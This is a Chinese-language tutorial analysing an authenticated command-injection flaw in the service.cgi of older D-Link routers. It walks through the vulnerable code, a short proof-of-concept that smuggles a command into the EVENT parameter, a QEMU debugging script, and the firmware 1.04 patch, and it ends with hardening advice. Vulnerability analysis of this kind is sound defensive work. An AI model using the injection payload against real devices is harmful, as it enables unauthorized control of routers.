D-Link service.cgi远程命令执行漏洞分析
字数 759 2025-08-26 22:11:22
D-Link service.cgi远程命令执行漏洞分析教学文档
漏洞概述
漏洞编号:CNVD-2018-01084
受影响设备:
- D-Link DIR 615
- D-Link DIR 645
- D-Link DIR 815
受影响固件版本:1.03及之前版本
漏洞类型:认证后远程命令执行
漏洞成因:service.cgi在处理HTTP POST请求数据时未正确过滤用户输入,导致命令拼接执行
漏洞原理分析
漏洞触发点
漏洞存在于htdocs/cgibin程序中的servicecgi_main函数,该函数处理service.cgi的请求。
关键代码流程
-
请求方法检查:
request_method_ptr = getenv("REQUEST_METHOD"); iVar4 = strcasecmp(request_method_ptr, "POST"); -
参数解析:
iVar4 = cgibin_parse_request(FUN_0040d1cc, (astruct *)0x0, uVar3); -
权限验证:
iVar4 = sess_ispoweruser(); -
参数获取:
iVar2 = get_para("EVENT"); request_method_ptr = (char *)get_para("ACTION"); iVar4 = get_para("SERVICE"); -
命令执行:
// EVENT参数处理 __format = "event %s > /dev/null"; lxmldbc_system(__format, iVar4); // ACTION和SERVICE参数处理 __format = "service %s start > /dev/null"; __format = "service %s stop > /dev/null"; __format = "service %s restart > /dev/null";
命令注入点
lxmldbc_system函数实现:
void lxmldbc_system(char *format, char *para0, char *para1, char *para2) {
char acStack1036[1028];
vsnprintf(acStack1036, 0x400, format, &local_res4);
system(acStack1036);
}
攻击者可通过控制EVENT、ACTION或SERVICE参数实现命令注入。
漏洞利用
利用前提
- 需要有效的认证cookie(可通过信息泄露漏洞获取)
- 发送POST请求到
/service.cgi
POC示例
post_content = "EVENT=CHECKFW%26" + command + "%26"
URL + "/service.cgi"
动态调试方法
-
使用QEMU模拟环境:
sudo ./cgi_run_service.sh -
调试脚本示例:
#!/bin/bash INPUT=`python -c "print 'EVENT=;ifconfig%26'"` LEN=$(echo $INPUT | wc -c) PORT="1234" cp $(which qemu-mipsel-static) ./qemu echo "$INPUT" | chroot . ./qemu -0 "/service.cgi" \ -E CONTENT_LENGTH=$LEN \ -E CONTENT_TYPE="application/x-www-form-urlencoded" \ -E REQUEST_METHOD="POST" \ -E REQUEST_URI="/service.cgi" \ -E REMOTE_ADDR="127.0.0.1" \ -g $PORT ./htdocs/cgibin "/service.cgi" "/service.cgi" -
关键断点:
0x0040cf34:cookie验证点0x0040d038:命令执行点
补丁分析
固件版本1.04修复方式:
- 不再使用
system函数执行命令 - 改为使用
execel执行固定程序 - 用户输入作为参数而非命令部分
关键修复代码:
__s1 = "/usr/sbin/event";
__format = "event";
FUN_0040ce38(__s1, __format, iVar5, pcVar4);
// FUN_0040ce38实现
__pid = fork();
if ((-1 < __pid) && (__pid == 0)) {
close(1);
iVar1 = execl(pcParm1, pcParm2, uParm3, uParm4, 0);
}
防护建议
- 升级到固件版本1.04或更高
- 实施输入验证和过滤
- 使用最小权限原则运行服务
- 避免直接拼接用户输入到系统命令
总结
该漏洞展示了嵌入式设备中常见的命令注入问题,通过分析可以学习到:
- CGI程序处理用户输入的安全隐患
- 固件漏洞分析方法
- 动态调试嵌入式程序的技巧
- 安全补丁的实现方式